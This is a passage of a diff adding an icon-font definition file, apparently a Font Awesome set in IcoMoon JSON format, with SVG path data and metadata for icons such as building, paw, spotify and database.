18.286zM292.571 603.429v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286zM219.429 786.286v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM219.429 640v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM219.429 493.714v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM219.429 347.429v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM219.429 201.143v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM512 932.571v-109.714c0-10.286-8-18.286-18.286-18.286h-182.857c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h182.857c10.286 0 18.286-8 18.286-18.286zM512 640v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM512 493.714v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM512 347.429v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM512 201.143v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM658.286 786.286v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM658.286 640v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM658.286 493.714v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM658.286 347.429v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM658.286 201.143v-36.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "building" + ], + "defaultCode": 61869, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "building", + "id": 389, + "order": 1245, + "prevSize": 28, + "code": 61869 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 389 + }, + { + "icon": { + "paths": [ + "M678.857 313.143l-166.857 166.857v470.857c0 35.429-28.571 64-64 64s-64-28.571-64-64v-219.429h-36.571v219.429c0 35.429-28.571 64-64 64s-64-28.571-64-64v-470.857l-166.857-166.857c-21.143-21.714-21.143-56 0-77.714 21.714-21.143 56-21.143 77.714 0l130.286 130.286h210.286l130.286-130.286c21.714-21.143 56-21.143 77.714 0 21.143 21.714 21.143 56 0 77.714zM493.714 219.429c0 70.857-57.143 128-128 128s-128-57.143-128-128 57.143-128 128-128 128 57.143 128 128z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "child" + ], + "defaultCode": 61870, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "child", + "id": 390, + "order": 1246, + "prevSize": 28, + "code": 61870 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 390 + }, + { + "icon": { + "paths": [ + "M445.714 269.714c0 64-33.143 140-106.857 140-92.571 0-148.571-116.571-148.571-196.571 0-64 33.143-140 106.857-140 93.143 0 148.571 116.571 148.571 196.571zM250.286 545.714c0 55.429-29.143 113.143-92 113.143-91.429 0-158.286-112-158.286-194.857 0-55.429 29.714-113.714 92-113.714 91.429 0 158.286 112.571 158.286 195.429zM475.429 530.286c140 0 329.143 201.714 329.143 336.571 0 72.571-59.429 84-117.714 84-76.571 0-138.286-51.429-211.429-51.429-76.571 0-141.714 50.857-224.571 50.857-55.429 0-104.571-18.857-104.571-83.429 0-135.429 189.143-336.571 329.143-336.571zM612 409.714c-73.714 0-106.857-76-106.857-140 0-80 55.429-196.571 148.571-196.571 73.714 0 106.857 76 106.857 140 0 80-56 196.571-148.571 196.571zM858.857 350.286c62.286 0 92 58.286 92 113.714 0 82.857-66.857 194.857-158.286 194.857-62.857 0-92-57.714-92-113.143 0-82.857 66.857-195.429 158.286-195.429z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "paw" + ], + "defaultCode": 61872, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "paw", + "id": 391, + "order": 1247, + "prevSize": 28, + "code": 61872 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 391 + }, + { + "icon": { + "paths": [ + "M402.286 301.714c0 114.286-49.714 189.143-119.429 216.571l25.714 469.143c1.143 20-14.286 36.571-34.286 36.571h-109.714c-20 0-35.429-16.571-34.286-36.571l25.714-469.143c-69.714-27.429-119.429-102.286-119.429-216.571 0-146.286 81.714-301.714 182.857-301.714s182.857 155.429 182.857 301.714z" + ], + "width": 438.85714285714283, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "spoon" + ], + "defaultCode": 61873, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "spoon", + "id": 392, + "order": 1248, + "prevSize": 28, + "code": 61873 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 392 + }, + { + "icon": { + "paths": [ + "M512 930.857l365.714-199.429v-363.429l-365.714 133.143v429.714zM475.429 436.571l398.857-145.143-398.857-145.143-398.857 145.143zM950.857 292.571v438.857c0 26.857-14.857 51.429-38.286 64l-402.286 219.429c-10.857 6.286-22.857 9.143-34.857 9.143s-24-2.857-34.857-9.143l-402.286-219.429c-23.429-12.571-38.286-37.143-38.286-64v-438.857c0-30.857 19.429-58.286 48-68.571l402.286-146.286c8-2.857 16.571-4.571 25.143-4.571s17.143 1.714 25.143 4.571l402.286 146.286c28.571 10.286 48 37.714 48 68.571z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cube" + ], + "defaultCode": 61874, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cube", + "id": 393, + "order": 1249, + "prevSize": 28, + "code": 61874 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 393 + }, + { + "icon": { + "paths": [ + "M365.714 932.571l219.429-109.714v-179.429l-219.429 93.714v195.429zM329.143 673.143l230.857-98.857-230.857-98.857-230.857 98.857zM950.857 932.571l219.429-109.714v-179.429l-219.429 93.714v195.429zM914.286 673.143l230.857-98.857-230.857-98.857-230.857 98.857zM658.286 505.714l219.429-94.286v-152l-219.429 93.714v152.571zM621.714 289.143l252-108-252-108-252 108zM1243.429 585.143v237.714c0 27.429-15.429 53.143-40.571 65.143l-256 128c-10.286 5.714-21.143 8-32.571 8s-22.286-2.286-32.571-8l-256-128c-1.714-0.571-2.857-1.143-4-2.286-1.143 1.143-2.286 1.714-4 2.286l-256 128c-10.286 5.714-21.143 8-32.571 8s-22.286-2.286-32.571-8l-256-128c-25.143-12-40.571-37.714-40.571-65.143v-237.714c0-29.143 17.714-55.429 44.571-67.429l248-106.286v-228.571c0-29.143 17.714-55.429 44.571-67.429l256-109.714c9.143-4 18.857-5.714 28.571-5.714s19.429 1.714 28.571 5.714l256 109.714c26.857 12 44.571 38.286 44.571 67.429v228.571l248 106.286c27.429 12 44.571 38.286 44.571 67.429z" + ], + "width": 1243.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cubes" + ], + "defaultCode": 61875, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cubes", + "id": 394, + "order": 1250, + "prevSize": 28, + "code": 61875 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 394 + }, + { + "icon": { + "paths": [ + "M1056 193.714h-292v70.857h292v-70.857zM912 437.143c-68.571 0-114.286 42.857-118.857 111.429h233.143c-6.286-69.143-42.286-111.429-114.286-111.429zM921.143 771.429c43.429 0 99.429-23.429 113.143-68h126.286c-38.857 119.429-119.429 175.429-244 175.429-164.571 0-266.857-111.429-266.857-273.714 0-156.571 108-276 266.857-276 163.429 0 253.714 128.571 253.714 282.857 0 9.143-0.571 18.286-1.143 26.857h-376c0 83.429 44 132.571 128 132.571zM158.286 742.857h169.143c64.571 0 117.143-22.857 117.143-95.429 0-73.714-44-102.857-113.714-102.857h-172.571v198.286zM158.286 436h160.571c56.571 0 96.571-24.571 96.571-85.714 0-66.286-51.429-82.286-108.571-82.286h-148.571v168zM0 145.143h339.429c123.429 0 230.286 34.857 230.286 178.286 0 72.571-33.714 119.429-98.286 150.286 88.571 25.143 131.429 92 131.429 182.286 0 146.286-122.857 209.143-253.714 209.143h-349.143v-720z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "behance" + ], + "defaultCode": 61876, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "behance", + "id": 395, + "order": 1251, + "prevSize": 28, + "code": 61876 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 395 + }, + { + "icon": { + "paths": [ + "M713.143 73.143c90.857 0 164.571 73.714 164.571 164.571v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571zM285.143 282.857h-212v449.714h218.286c81.714 0 158.286-38.857 158.286-130.286 0-56.571-26.857-98.286-81.714-114.286 40-19.429 61.143-48.571 61.143-93.714 0-89.714-66.857-111.429-144-111.429zM272.571 464.571h-100.571v-105.143h93.143c35.429 0 68 9.714 68 51.429 0 38.286-25.143 53.714-60.571 53.714zM277.714 656h-105.714v-124h108c43.429 0 70.857 18.857 70.857 64.571s-32.571 59.429-73.143 59.429zM649.143 674.286c-52.571 0-80-30.857-80-82.857h234.857c0.571-5.714 0.571-11.429 0.571-17.143 0-96-56.571-176.571-158.857-176.571-98.857 0-166.857 74.857-166.857 172.571 0 101.714 64 170.857 166.857 170.857 78.286 0 128.571-34.857 152.571-109.143h-78.857c-8.571 27.429-43.429 42.286-70.286 42.286zM643.429 465.143c44.571 0 66.857 26.857 70.857 69.714h-145.143c2.857-42.857 31.429-69.714 74.286-69.714zM550.857 313.143h182.286v44h-182.286v-44z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "behance-square" + ], + "defaultCode": 61877, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "behance-square", + "id": 396, + "order": 1252, + "prevSize": 28, + "code": 61877 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 396 + }, + { + "icon": { + "paths": [ + "M904 332.571c0 77.143-62.857 139.429-139.429 139.429-77.143 0-139.429-62.286-139.429-139.429s62.286-139.429 139.429-139.429c76.571 0 139.429 62.286 139.429 139.429zM464 756.571c0-79.429-63.429-142.857-142.857-142.857-10.286 0-20.571 1.143-30.857 3.429l59.429 24c58.286 23.429 86.857 89.143 63.429 147.429s-89.714 86.857-148 62.857c-23.429-9.143-46.857-18.857-70.286-28 24 45.143 71.429 76 126.286 76 79.429 0 142.857-63.429 142.857-142.857zM938.286 333.143c0-96-78.286-174.286-174.286-174.286-96.571 0-174.857 78.286-174.857 174.286 0 96.571 78.286 174.286 174.857 174.286 96 0 174.286-77.714 174.286-174.286zM1024 333.143c0 144-116.571 260-260 260l-249.714 182.286c-9.143 98.286-92.571 175.429-193.143 175.429-92.571 0-170.857-65.714-189.714-153.143l-131.429-52.571v-245.143l222.286 89.714c29.143-17.714 62.857-27.429 98.857-27.429 6.857 0 13.714 0.571 20 1.143l162.286-232.571c1.143-142.286 117.714-257.714 260.571-257.714 143.429 0 260 116.571 260 260z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "steam" + ], + "defaultCode": 61878, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "steam", + "id": 397, + "order": 1253, + "prevSize": 28, + "code": 61878 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 397 + }, + { + "icon": { + "paths": [ + "M709.714 369.714c0-60.571-49.714-110.286-110.857-110.286-60.571 0-110.286 49.714-110.286 110.286 0 61.143 49.714 110.286 110.286 110.286 61.143 0 110.857-49.143 110.857-110.286zM361.143 705.714c0 62.857-50.286 113.143-113.143 113.143-43.429 0-81.143-24.571-100-60.571 18.857 7.429 37.143 14.857 56 22.857 45.714 18.286 98.286-4 117.143-50.286 18.286-45.714-4-98.286-50.286-116.571l-46.857-18.857c7.429-1.714 16-2.857 24-2.857 62.857 0 113.143 50.286 113.143 113.143zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-87.429l98.286 39.429c14.857 69.143 76.571 121.143 149.714 121.143 80 0 145.714-61.143 153.143-138.857l197.143-144c114.286 0 206.286-92.571 206.286-205.714 0-114.286-92-206.286-206.286-206.286-112.571 0-204.571 91.429-205.714 204l-128.571 184c-5.143-0.571-10.286-0.571-16-0.571-28.571 0-55.429 7.429-78.286 21.143l-169.714-68v-267.429c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571zM736.571 370.857c0 76-61.714 137.714-138.286 137.714-76 0-137.714-61.714-137.714-137.714 0-76.571 61.714-138.286 137.714-138.286 76.571 0 138.286 61.714 138.286 138.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "steam-square" + ], + "defaultCode": 61879, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "steam-square", + "id": 398, + "order": 1254, + "prevSize": 28, + "code": 61879 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 398 + }, + { + "icon": { + "paths": [ + "M477.714 668l-8.571 210.286-1.143 12.571-240-16.571c-29.714-2.286-54.286-30.286-65.143-55.429-22.857-53.143 6.857-116 24-166.857 0 0 44 6.857 290.857 16zM256.571 333.143l102.857 216.571-84-52.571c-128.571 146.857-140.571 256-140.571 256l-108.571-204c-22.286-33.143-2.286-69.143-2.286-69.143s20-36 65.143-107.429l-80-49.143zM960 628.571l-107.429 205.143c-14.857 37.143-56 40.571-56 40.571s-40.571 4-125.143 6.857l4.571 93.714-131.429-209.714 120.571-206.857 4 98.857c193.714 23.429 290.857-28.571 290.857-28.571zM511.429 100.571c0 0-26.857 35.429-151.429 248.571l-181.143-106.857-10.857-6.857 128.571-203.429c16-25.143 52-34.286 80-31.429 57.143 5.143 98.286 60.571 134.857 100zM885.714 276l121.143 207.429c15.429 25.714 6.286 61.714-8.571 85.714-30.857 48-99.429 59.429-150.857 73.714 0 0-19.429-40.571-151.429-249.143l178.857-111.429zM804 146.857l81.143-47.429-125.714 213.143-239.429-11.429 86.286-49.143c-68.571-182.286-159.429-245.143-159.429-245.143l231.429 0.571c40-3.429 61.714 30.857 61.714 30.857s22.286 34.857 64 108.571z" + ], + "width": 1026.2674285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "recycle" + ], + "defaultCode": 61880, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "recycle", + "id": 399, + "order": 1255, + "prevSize": 28, + "code": 61880 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 399 + }, + { + "icon": { + "paths": [ + "M274.286 621.714c0-50.286-41.143-91.429-91.429-91.429s-91.429 41.143-91.429 91.429 41.143 91.429 91.429 91.429 91.429-41.143 91.429-91.429zM294.857 438.857h580.571l-50.857-204c-1.714-6.286-13.143-15.429-20-15.429h-438.857c-6.857 0-18.286 9.143-20 15.429zM1078.857 621.714c0-50.286-41.143-91.429-91.429-91.429s-91.429 41.143-91.429 91.429 41.143 91.429 91.429 91.429 91.429-41.143 91.429-91.429zM1170.286 566.857v219.429c0 10.286-8 18.286-18.286 18.286h-54.857v73.143c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714v-73.143h-585.143v73.143c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714v-73.143h-54.857c-10.286 0-18.286-8-18.286-18.286v-219.429c0-70.857 57.143-128 128-128h16l60-239.429c17.714-72 87.429-126.286 161.714-126.286h438.857c74.286 0 144 54.286 161.714 126.286l60 239.429h16c70.857 0 128 57.143 128 128z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "automobile", + "car" + ], + "defaultCode": 61881, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "automobile, car", + "id": 400, + "order": 1256, + "prevSize": 28, + "code": 61881 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 400 + }, + { + "icon": { + "paths": [ + "M1042.286 512c70.857 0 128 57.143 128 128v219.429c0 10.286-8 18.286-18.286 18.286h-54.857v36.571c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714v-36.571h-585.143v36.571c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714v-36.571h-54.857c-10.286 0-18.286-8-18.286-18.286v-219.429c0-70.857 57.143-128 128-128h16l60-239.429c17.714-72 87.429-126.286 161.714-126.286h73.143v-128c0-10.286 8-18.286 18.286-18.286h256c10.286 0 18.286 8 18.286 18.286v128h73.143c74.286 0 144 54.286 161.714 126.286l60 239.429h16zM182.857 786.286c50.286 0 91.429-41.143 91.429-91.429s-41.143-91.429-91.429-91.429-91.429 41.143-91.429 91.429 41.143 91.429 91.429 91.429zM294.857 512h580.571l-50.857-204c-1.714-6.286-13.143-15.429-20-15.429h-438.857c-6.857 0-18.286 9.143-20 15.429zM987.429 786.286c50.286 0 91.429-41.143 91.429-91.429s-41.143-91.429-91.429-91.429-91.429 41.143-91.429 91.429 41.143 91.429 91.429 91.429z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cab", + "taxi" + ], + "defaultCode": 61882, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cab, taxi", + "id": 401, + "order": 1257, + "prevSize": 28, + "code": 61882 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 401 + }, + { + "icon": { + "paths": [ + "M859.429 841.143c0 20-16.571 36.571-36.571 36.571h-264c1.714 36.571 6.286 74.857 6.286 112 0 18.857-15.429 34.286-34.857 34.286h-182.857c-19.429 0-34.857-15.429-34.857-34.286 0-37.143 4.571-75.429 6.286-112h-264c-20 0-36.571-16.571-36.571-36.571 0-9.714 4-18.857 10.857-25.714l229.714-230.286h-130.857c-20 0-36.571-16.571-36.571-36.571 0-9.714 4-18.857 10.857-25.714l229.714-230.286h-112.571c-20 0-36.571-16.571-36.571-36.571 0-9.714 4-18.857 10.857-25.714l219.429-219.429c6.857-6.857 16-10.857 25.714-10.857s18.857 4 25.714 10.857l219.429 219.429c6.857 6.857 10.857 16 10.857 25.714 0 20-16.571 36.571-36.571 36.571h-112.571l229.714 230.286c6.857 6.857 10.857 16 10.857 25.714 0 20-16.571 36.571-36.571 36.571h-130.857l229.714 230.286c6.857 6.857 10.857 16 10.857 25.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tree" + ], + "defaultCode": 61883, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "tree", + "id": 402, + "order": 1258, + "prevSize": 28, + "code": 61883 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 402 + }, + { + "icon": { + "paths": [ + "M644 691.429c0-16-6.286-22.286-17.143-29.143-73.714-44-159.429-65.714-255.429-65.714-56 0-109.714 7.429-164 19.429-13.143 2.857-24 11.429-24 29.714 0 14.286 10.857 28 28 28 5.143 0 14.286-2.857 21.143-4.571 44.571-9.143 91.429-15.429 138.857-15.429 84 0 163.429 20.571 226.857 58.857 6.857 4 11.429 6.286 18.857 6.286 14.286 0 26.857-11.429 26.857-27.429zM698.857 568.571c0-15.429-5.714-26.286-20-34.857-87.429-52-198.286-80.571-313.143-80.571-73.714 0-124 10.286-173.143 24-18.286 5.143-27.429 17.714-27.429 36.571s15.429 34.286 34.286 34.286c8 0 12.571-2.286 21.143-4.571 40-10.857 88-18.857 143.429-18.857 108.571 0 207.429 28.571 278.857 70.857 6.286 3.429 12.571 7.429 21.714 7.429 19.429 0 34.286-15.429 34.286-34.286zM760.571 426.857c0-21.143-9.143-32-22.857-40-98.857-57.714-234.286-84.571-363.429-84.571-76 0-145.714 8.571-208 26.857-16 4.571-30.857 18.286-30.857 42.286 0 23.429 17.714 41.714 41.143 41.714 8.571 0 16.571-2.857 22.857-4.571 55.429-15.429 115.429-21.143 175.429-21.143 118.857 0 242.286 26.286 321.714 73.714 8 4.571 13.714 6.857 22.857 6.857 21.714 0 41.143-17.143 41.143-41.143zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "spotify" + ], + "defaultCode": 61884, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "spotify", + "id": 403, + "order": 1259, + "prevSize": 28, + "code": 61884 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 403 + }, + { + "icon": { + "paths": [ + "M585.143 173.143l-173.143 332.571 13.714 17.714h159.429v237.143h-289.714l-25.143 17.143-81.143 156c-0.571 0-16 16-17.143 17.143h-172v-173.143l173.143-333.143-13.714-17.143h-159.429v-237.143h289.714l25.143-17.143 81.143-156c0.571 0 16-16 17.143-17.143h172v173.143z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "deviantart" + ], + "defaultCode": 61885, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "deviantart", + "id": 404, + "order": 1260, + "prevSize": 28, + "code": 61885 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 404 + }, + { + "icon": { + "paths": [ + "M448 784l9.143-137.714-9.143-298.857c-0.571-7.429-6.286-13.714-13.714-13.714-6.857 0-13.143 6.286-13.143 13.714l-8 298.857 8 137.714c0.571 7.429 6.286 13.143 13.143 13.143 7.429 0 13.143-5.714 13.714-13.143zM617.143 767.429l6.286-120.571-6.857-334.857c0-5.714-2.857-10.857-7.429-13.714-2.857-1.714-5.714-2.857-9.143-2.857s-6.286 1.143-9.143 2.857c-4.571 2.857-7.429 8-7.429 13.714l-0.571 3.429-5.714 330.857s0 0.571 6.286 134.857v0.571c0 3.429 1.143 6.857 3.429 9.714 3.429 4 8 6.286 13.143 6.286 4.571 0 8.571-2.286 11.429-5.143 3.429-2.857 5.143-6.857 5.143-11.429zM20 573.143l11.429 73.143-11.429 72c-0.571 2.857-2.286 5.143-5.143 5.143s-4.571-2.286-5.143-5.143l-9.714-72 9.714-73.143c0.571-2.857 2.286-5.143 5.143-5.143s4.571 2.286 5.143 5.143zM69.143 528l14.857 118.286-14.857 116c-0.571 2.857-2.857 5.143-5.714 5.143s-5.143-2.286-5.143-5.714l-13.143-115.429 13.143-118.286c0-2.857 2.286-5.143 5.143-5.143s5.143 2.286 5.714 5.143zM229.143 786.857v0 0zM121.714 506.286l14.286 140-14.286 135.429c0 3.429-2.857 6.286-6.286 6.286s-6.286-2.857-6.857-6.286l-12-135.429 12-140c0.571-4 3.429-6.857 6.857-6.857s6.286 2.857 6.286 6.857zM175.429 502.286l13.143 144-13.143 139.429c-0.571 4.571-4 7.429-8 7.429s-7.429-2.857-7.429-7.429l-12-139.429 12-144c0-4.571 3.429-7.429 7.429-7.429s7.429 2.857 8 7.429zM229.143 512.571l12 133.714-12 140.571c-0.571 5.143-4.571 9.143-9.143 9.143s-8.571-4-8.571-9.143l-11.429-140.571 11.429-133.714c0-4.571 4-8.571 8.571-8.571s8.571 4 9.143 8.571zM448 784v0 0zM282.857 429.143l12 217.143-12 140.571c0 5.714-4.571 10.286-9.714 10.286-5.714 0-9.714-4.571-10.286-10.286l-10.286-140.571 10.286-217.143c0.571-5.714 4.571-10.286 10.286-10.286 5.143 0 9.714 4.571 9.714 10.286zM336.571 380l10.857 267.429-10.857 139.429c0 6.286-5.143 10.857-10.857 10.857-6.286 0-10.857-4.571-11.429-10.857l-9.143-139.429 9.143-267.429c0.571-6.286 5.143-10.857 11.429-10.857 5.714 0 10.857 4.571 10.857 10.857zM392.571 357.143l10.286 289.143-10.286 138.286c-0.571 6.857-5.714 12-12.571 12-6.286 0-11.429-5.143-12-12l-9.143-138.286 9.143-289.143c0-6.857 5.714-12.571 12-12.571 6.857 0 12 5.714 12.571 12.571zM616.571 781.143v0 0 0 0 0 0zM503.429 354.857l8.571 291.429-8.571 136.571c0 8-6.286 14.286-14.286 14.286s-13.714-6.286-14.286-14.286l-8-136.571 8-291.429c0-8 6.286-14.286 14.286-14.286s14.286 6.286 14.286 14.286zM560 365.714l8 281.143-8 134.857c0 8.571-6.857 15.429-15.429 15.429s-15.429-6.857-16-15.429l-6.857-134.857 6.857-281.143c0.571-9.143 7.429-16 16-16s14.857 6.857 15.429 16zM681.143 646.857l-8 132c0 9.714-8 17.714-17.714 17.714s-17.714-8-18.286-17.714l-3.429-65.143-3.429-66.857 6.857-363.429v-1.714c0.571-5.143 2.857-10.286 6.857-13.714 2.857-2.286 6.857-4 11.429-4 2.857 0 6.286 1.143 8.571 2.857 5.143 2.857 8.571 8.571 9.143 14.857zM1316.571 636c0 89.143-72.571 161.143-161.714 161.143h-449.143c-9.714-1.143-17.714-8.571-17.714-18.857v-513.714c0-9.714 3.429-14.286 16-18.857 31.429-12.571 66.857-19.429 103.429-19.429 149.143 0 271.429 114.286 284.571 260 19.429-8 40.571-12.571 62.857-12.571 89.143 0 161.714 72.571 161.714 162.286z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "soundcloud" + ], + "defaultCode": 61886, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "soundcloud", + "id": 405, + "order": 1261, + "prevSize": 28, + "code": 61886 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 405 + }, + { + "icon": { + "paths": [ + "M438.857 438.857c172 0 344.571-30.857 438.857-97.143v97.143c0 80.571-196.571 146.286-438.857 146.286s-438.857-65.714-438.857-146.286v-97.143c94.286 66.286 266.857 97.143 438.857 97.143zM438.857 877.714c172 0 344.571-30.857 438.857-97.143v97.143c0 80.571-196.571 146.286-438.857 146.286s-438.857-65.714-438.857-146.286v-97.143c94.286 66.286 266.857 97.143 438.857 97.143zM438.857 658.286c172 0 344.571-30.857 438.857-97.143v97.143c0 80.571-196.571 146.286-438.857 146.286s-438.857-65.714-438.857-146.286v-97.143c94.286 66.286 266.857 97.143 438.857 97.143zM438.857 0c242.286 0 438.857 65.714 438.857 146.286v73.143c0 80.571-196.571 146.286-438.857 146.286s-438.857-65.714-438.857-146.286v-73.143c0-80.571 196.571-146.286 438.857-146.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "database" + ], + "defaultCode": 61888, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "database", + "id": 406, + "order": 1262, + "prevSize": 28, + "code": 61888 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 406 + }, + { + "icon": { + "paths": [ + "M838.857 217.143c21.143 21.143 38.857 63.429 38.857 93.714v658.286c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-914.286c0-30.286 24.571-54.857 54.857-54.857h512c30.286 0 72.571 17.714 93.714 38.857zM585.143 77.714v214.857h214.857c-3.429-9.714-8.571-19.429-12.571-23.429l-178.857-178.857c-4-4-13.714-9.143-23.429-12.571zM804.571 950.857v-585.143h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-438.857v877.714h731.429zM510.857 612c14.286 11.429 30.286 21.714 48 32 24-2.857 46.286-4 66.857-4 38.286 0 86.857 4.571 101.143 28 4 5.714 7.429 16 1.143 29.714-0.571 0.571-1.143 1.714-1.714 2.286v0.571c-1.714 10.286-10.286 21.714-40.571 21.714-36.571 0-92-16.571-140-41.714-79.429 8.571-162.857 26.286-224 47.429-58.857 100.571-104 149.714-138.286 149.714-5.714 